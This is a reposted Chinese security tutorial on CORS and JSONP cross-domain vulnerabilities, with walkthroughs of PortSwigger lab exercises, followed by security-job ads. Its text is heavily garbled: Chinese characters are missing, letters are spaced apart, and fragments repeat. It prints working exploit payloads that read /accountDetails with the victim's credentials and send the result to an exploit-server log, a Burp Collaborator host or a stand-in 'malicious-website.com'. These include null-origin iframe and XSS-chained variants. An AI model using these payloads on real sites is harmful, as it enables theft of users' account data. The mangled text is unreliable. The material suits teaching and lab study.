[6899] 2020-08-30_跨域漏洞那些事儿(cors、jsonp)

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-17
2020-08-30_跨域漏洞那些事儿(cors、jsonp) c o r s j s o n p ) E   2 0 2 0 - 0 8 - 3 0   h 1 1 b a 1 使 s r c c o r s , j o s n p N o . 1 N o . 1 c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) c o r s ) ( c o r s ) c o r s s o p 1 . 1   c o o k i e c o o k i e c o o k i e c o o k i e c o o k i e   h t t p s : / / w w w . t e s t . c o m     h t t p : / / w w w . t e s t . c o m   ( ) h t t p : / / w w w . t e s t . c o m       h t t p : / / l o g i n . t e s t . c o m   ( ) h t t p : / / w w w . t e s t . c o m : 8 0     h t t p : / / w w w . t e s t . c o m : 8 0 8 0   ( ) 1 . 2   ( s o p ) ( c o r s ) 便 A B B 西 B A c c e s s - C o n t r o l - A l l o w - O r i g i n :   * A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e A c c e s s - C o n t r o l - A l l o w - O r i g i n :   *   *   A 访 访 C c o r s C c o o k i e c o o k i e . . . A c c e s s - C o n t r o l - A l l o w - O r i g i n * w e b A c c e s s - C o n t r o l - A l l o w - O r i g i n 访 A c c e s s - C o n t r o l - A l l o w - O r i g i n h t t p : / / w w w . t e s t . c o m l o g i n . t e s t . c o m A ) w w w . t e s t . c o m ( B   B o r i g i n A A A c c e s s - C o n t r o l - A l l o w - O r i g i n A c c e s s - C o n t r o l - A l l o w - O r i g i n A B . . . h t t p s : / / w w w . r u a n y i f e n g . c o m / b l o g / 2 0 1 6 / 0 4 / c o r s . h t m l A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e C o o k i e C o o k i e C O R S   .
t r u e C o o k i e t r u e C o o k i e c o r s b u r p s u i t e h t t p s : / / p o r t s w i g g e r . n e t / w e b - s e c u r i t y / c o r s 1 . 1   o r i g i n ) c o r s a p i a p i a p i a j a x 访 访 c o r s 访 a p i < s c r i p t >       v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ;       r e q . o n l o a d   =   r e q L i s t e n e r ; / /   a p i       r e q . o p e n ( ' g e t ' , ' h t t p s : / / a c 0 c 1 f 2 b 1 e f c 3 2 1 1 8 0 e 1 a 1 8 c 0 0 7 1 0 0 d 3 . w e b - s e c u r i t y - a c a d e m y . n e t / a c c o u n t D e t a i l s ' , t r u e ) ; / /   t r u e c o o k i e       r e q . w i t h C r e d e n t i a l s   =   t r u e ;       r e q . s e n d ( ) ; / / 访 a p i u r l 访 w e b a p i       f u n c t i o n   r e q L i s t e n e r ( )   {         l o c a t i o n = ' / l o g ? k e y = ' + t h i s . r e s p o n s e T e x t ;       } ; < / s c r i p t > 1 . 2   o r i g i n )   n u l l c o r s n u l l o r i g i n n u l l n u l l c o r s h t m l e x p :
< i f r a m e   s a n d b o x = " a l l o w - s c r i p t s   a l l o w - t o p - n a v i g a t i o n   a l l o w - f o r m s "   s r c = " d a t a : t e x t / h t m l , < s c r i p t > v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ; r e q . o n l o a d   =   r e q L i s t e n e r ; r e q . o p e n ( ' g e t ' , ' h t t p s : / / a c 8 d 1 f 4 c 1 e b c 2 a f 2 8 0 6 b 9 d 9 d 0 0 d f 0 0 4 1 . w e b - s e c u r i t y - a c a d e m y . n e t / a c c o u n t D e t a i l s ' , t r u e ) ; r e q . w i t h C r e d e n t i a l s   =   t r u e ; r e q . s e n d ( ) ; c o n s o l e . l o g ( t h i s . r e s p o n s e T e x t ) ; < / s c r i p t > " > < / i f r a m e > 访 a p i e x p : < i f r a m e   s a n d b o x = " a l l o w - s c r i p t s   a l l o w - t o p - n a v i g a t i o n   a l l o w - f o r m s "   s r c = " d a t a : t e x t / h t m l , < s c r i p t > v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ; r e q . o n l o a d   =   r e q L i s t e n e r ; r e q . o p e n ( ' g e t ' , ' h t t p s : / / a c 8 d 1 f 4 c 1 e b c 2 a f 2 8 0 6 b 9 d 9 d 0 0 d f 0 0 4 1 . w e b - s e c u r i t y - a c a d e m y . n e t / a c c o u n t D e t a i l s ' , t r u e ) ; r e q . w i t h C r e d e n t i a l s   =   t r u e ; r e q . s e n d ( ) ; f u n c t i o n   r e q L i s t e n e r ( )   {         / / l o c a t i o n = ' m a l i c i o u s - w e b s i t e . c o m / l o g ? k e y = ' + t h i s . r e s p o n s e T e x t ; } ; < / s c r i p t > " > < / i f r a m e > 1 . 3   x s s A c c e s s - C o n t r o l - A l l o w - O r i g i n :   h t t p : / / * . t e s t . c o m x s s 便 A c c e s s - C o n t r o l - A l l o w - O r i g i n :   h t t p : / / l o g i n . t e s t . c o m   l o g i n . t e s t . c o m c o r s o r i g i n ) e x a m p l e 访 p r o d u c t I d x s s
x s s - - - > 访 - - - > e x p : < s c r i p t >   d o c u m e n t . l o c a t i o n = " h t t p : / / s t o c k . a c 6 7 1 f 9 6 1 e 9 e 1 2 7 a 8 0 5 2 d 5 2 0 0 0 5 1 0 0 6 e . w e b - s e c u r i t y - a c a d e m y . n e t / ? p r o d u c t I d = 4 < s c r i p t > v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ; r e q . o n l o a d   =   r e q L i s t e n e r ;   r e q . o p e n ( ' g e t ' , ' h t t p s : / / a c 6 7 1 f 9 6 1 e 9 e 1 2 7 a 8 0 5 2 d 5 2 0 0 0 5 1 0 0 6 e . w e b - s e c u r i t y - a c a d e m y . n e t / a c c o u n t D e t a i l s ' , t r u e ) ;   r e q . w i t h C r e d e n t i a l s =   t r u e ; r e q . s e n d ( ) ; f u n c t i o n   r e q L i s t e n e r ( )   { l o c a t i o n = ' h t t p s : / / a c 0 2 1 f f 5 1 e 5 3 1 2 1 f 8 0 4 e d 5 d 3 0 1 3 3 0 0 d a . w e b - s e c u r i t y - a c a d e m y . n e t / l o g ? k e y = ' % 2 b t h i s . r e s p o n s e T e x t ; } ; % 3 c / s c r i p t > & s t o r e I d = 1 " < / s c r i p t > e x p < s c r i p t > / / x s s x s s 访       d o c u m e n t . l o c a t i o n = " h t t p : / / s t o c k . a c 6 7 1 f 9 6 1 e 9 e 1 2 7 a 8 0 5 2 d 5 2 0 0 0 5 1 0 0 6 e . w e b - s e c u r i t y - a c a d e m y . n e t /       ? p r o d u c t I d = 4       / / j s   h t t p       < s c r i p t > v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ;         r e q . o n l o a d   =   r e q L i s t e n e r ;         / / 访       r e q . o p e n ( ' g e t ' , ' h t t p s : / / a c 6 7 1 f 9 6 1 e 9 e 1 2 7 a 8 0 5 2 d 5 2 0 0 0 5 1 0 0 6 e . w e b - s e c u r i t y - a c a d e m y . n e t / a c c o u n t D e t a i l s ' , t r u e ) ;         r e q . w i t h C r e d e n t i a l s   =   t r u e ;       r e q . s e n d ( ) ; f u n c t i o n   r e q L i s t e n e r ( )   {               / / g e t 访 l o g a p i k e y       l o c a t i o n = ' h t t p s : / / a c 0 2 1 f f 5 1 e 5 3 1 2 1 f 8 0 4 e d 5 d 3 0 1 3 3 0 0 d a . w e b - s e c u r i t y - a c a d e m y . n e t / l o g ? k e y = ' % 2 b t h i s . r e s p o n s e T e x t ;   } ;       % 3 c / s c r i p t >       & s t o r e I d = 1 " < / s c r i p t > c o r s j s o n p j s o n p     J S O N   w i t h   p a d d i n g   J S O N     J S O N j s o n p < s c r i p t > < s c r i p t > s r c j s o n p 便 j s o n p 0 8 j s o n p 使 s r c j s o n p j s o n p N o . 2 N o . 2 j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p j s o n p 2 . 1   B A j s o n A j s o n p < ? p h p h e a d e r ( ' C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ' ) ; / / $ j s o n p C a l l b a c k   =   h t m l s p e c i a l c h a r s ( $ _ R E Q U E S T   [ ' j s o n p ' ] ) ; / / j s o n $ j s o n _ d a t a   =   ' [ " " , " 1 2 0 1 1 0 1 2 1 1 0 " , " " , " " ] ' ; / / j s o n p e c h o   $ j s o n p C a l l b a c k   .   " ( "   .   $ j s o n _ d a t a   .   " ) " ; ? > B
< ! D O C T Y P E   h t m l > < h t m l > < h e a d > < m e t a   c h a r s e t = " u t f - 8 " > < t i t l e > J S O N P   < / t i t l e > < / h e a d > < b o d y > < d i v   i d = " d i v C u s t o m e r s " > < / d i v > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > f u n c t i o n   c a l l b a c k ( r e s u l t ,   m e t h o d N a m e ) {         v a r   h t m l   =   ' < u l > ' ;         f o r ( v a r   i   =   0 ;   i   <   r e s u l t . l e n g t h ;   i + + )         {                 h t m l   + =   ' < l i > '   +   r e s u l t [ i ]   +   ' < / l i > ' ;         }         h t m l   + =   ' < / u l > ' ;         d o c u m e n t . g e t E l e m e n t B y I d ( ' d i v C u s t o m e r s ' ) . i n n e r H T M L   =   h t m l ; } < / s c r i p t > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t "   s r c = " h t t p : / / 1 2 7 . 0 . 0 . 1 / j s o n p . p h p ? j s o n p = c a l l b a c k " > < / s c r i p t > < / b o d y > < / h t m l > j s o n p j s o n 2 . 2   使 b u r p c o l l a b o r a t o r   c l i e n t h t t p c o l l a b o r a t o r   c l i e n t   1 2 7 . 0 . 0 1 w e b 2 . 2 . 1   c o l l a b o r a t o r   c l i e n t 2 . 2 . 2   P o l l   n o w h t t p
< h 1 > j s o n p   e x p < / h 1 > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >     f u n c t i o n   c a l l b a c k ( r e s u l t ) {       v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ;         / / b u r p c o l l a b o r a t o r   c l i e n t j s o n       r e q . o p e n ( ' g e t ' , ' h t t p s : / / r 2 u 9 a t j p 5 8 8 p t 9 6 t 5 c p e f 5 o 4 0 v 6 l u a . b u r p c o l l a b o r a t o r . n e t / ? u s e r i n f o = ' + r e s u l t , t r u e ) ;       r e q . w i t h C r e d e n t i a l s   =   t r u e ;       r e q . s e n d ( ) ; } < / s c r i p t > / / j s o n p < s c r i p t   t y p e = " t e x t / j a v a s c r i p t "   s r c = " h t t p : / / 1 2 7 . 0 . 0 . 1 / j s o n p . p h p ? j s o n p = c a l l b a c k " > < / s c r i p t > 2 . 2 . 3   访 访 c o l l a b o r a t o r   c l i e n t j s o n 2 . 3   j s o n p j s o n p 使 x r a y x r a y j s o n p j s o n p c b c a l l b a c k j s o n c b j s o n p c b j s o n p j Q u e r y j s o n c a l l b a c k j s o n p c a l l b a c k j s o n c a l l j s o n p c a l l 访 1 . n e t w o r k 2 . P r e s e r v e r   l o g 3 . j s o n p 使 e x p j s o n p
p o c : < ! D O C T Y P E   h t m l > < h t m l > < h e a d >   < t i t l e > j s o n p < / t i t l e >   < m e t a   c h a r s e t = " u t f - 8 " >         < s t y l e   t y p e = " t e x t / c s s " >                 t a b l e {                         d i s p l a y : i n l i n e                 } < / s t y l e > < / h e a d > < b o d y > < s c r i p t   s r c = ' h t t p s : / / c d n . s t a t i c f i l e . o r g / j q u e r y / 1 . 1 0 . 2 / j q u e r y . m i n . j s ' > < / s c r i p t > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > f u n c t i o n   c a l l b a c k ( j s o n ) {         c o n s o l e . l o g ( j s o n ) ; } v a r   s = d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ; s . t y p e = " t e x t / j a v a s c r i p t " ;         / / s . s r c = ' h t t p : / / 1 2 7 . 0 . 0 . 1 / j s o n p . p h p ? j s o n p = c a l l b a c k ' ; d o c u m e n t . b o d y . a p p e n d C h i l d ( s ) ; < / s c r i p t > < / b o d y > < / h t m l > c o n s o l e . l o g h t t p s : / / b l o g . k n o w n s e c . c o m / 2 0 1 5 / 0 3 / j s o n p _ s e c u r i t y _ t e c h n i c / h t t p s : / / m p . w e i x i n . q q . c o m / s / S u E p F 3 R I Z I v 2 C c I U o k 8 S o Q h t t p s : / / w w w . k 0 r z 3 n . c o m / 2 0 1 8 / 0 6 / 0 5 / % E 7 % 9 4 % B 1 % E 6 % B 5 % 8 5 % E 5 % 8 5 % A 5 % E 6 % B 7 % B 1 % E 7 % 9 0 % 8 6 % E 8 % A 7 % A 3 J S O N P % E 5 % B 9 % B 6 % E 6 % 8 B % 9 3 % E 5 % B 1 % 9 5 /
S R C 1 .     S R C 线 访 2 .     R a n k 3 .     线 4 .     广 5 .         1 .       2 .       3 .       s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 1 1   V I   广 2 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 3 1 9 1   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n W e b   1 3 - 3 0 K 1 + 广 1 . ; 2 . 沿 3 . ; 4 . 5 . W A F b y p a s s
5 . W A F b y p a s s 1 . 1 2 . H T T P 3 . C M S 4 . p h p j a v a a s p . n e t 5 . W e b   F u z z 6 . O W A S P   T O P   1 0 7 . W e b 8 . A s p . n e t P y t h o n p h p j a v a 1 . 2 . 3 . C I S S P C I S A C S S L P I S O 2 7 0 0 1 I T I L P M P C O B I T S e c u r i t y + C I S P O S C P 4 . S R C C T F 5 . 6 . 7 . 8 . 稿 1 3 - 3 0 K 2 + 1 . 2 . 3 . 1 . 使 P y t h o n j a v a c / c + + 2 . 使 D j a n g o f l a s k   w e b 使 m y s q l m o n g o D B r e d i s 3 : w e b 4 . 5 . 1 . t c p 2 . g i t h u b 3 : 4 . f r e e b u f 5 .   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
G o l a n g 1 3 - 3 0 K 2 + 1 . 2 . 3 . 1 . C / C + + / J a v a / G o / P y t h o n / J a v a S c r i p t 2 . 使 G i n B e e g o E c h o w e b M y S Q L R e d i s M o n g o D B , 3 . d o c k e r 3 . w e b 4 . T C P / I P 5 . 1 . t c p 2 . g i t h u b 3 : 4 . f r e e b u f 5 .   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n E   h t t p s : / / w w w . e a s y a q . c o m 4 0   使 5 G   C I S A 8 3 0 F r e e p i k   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则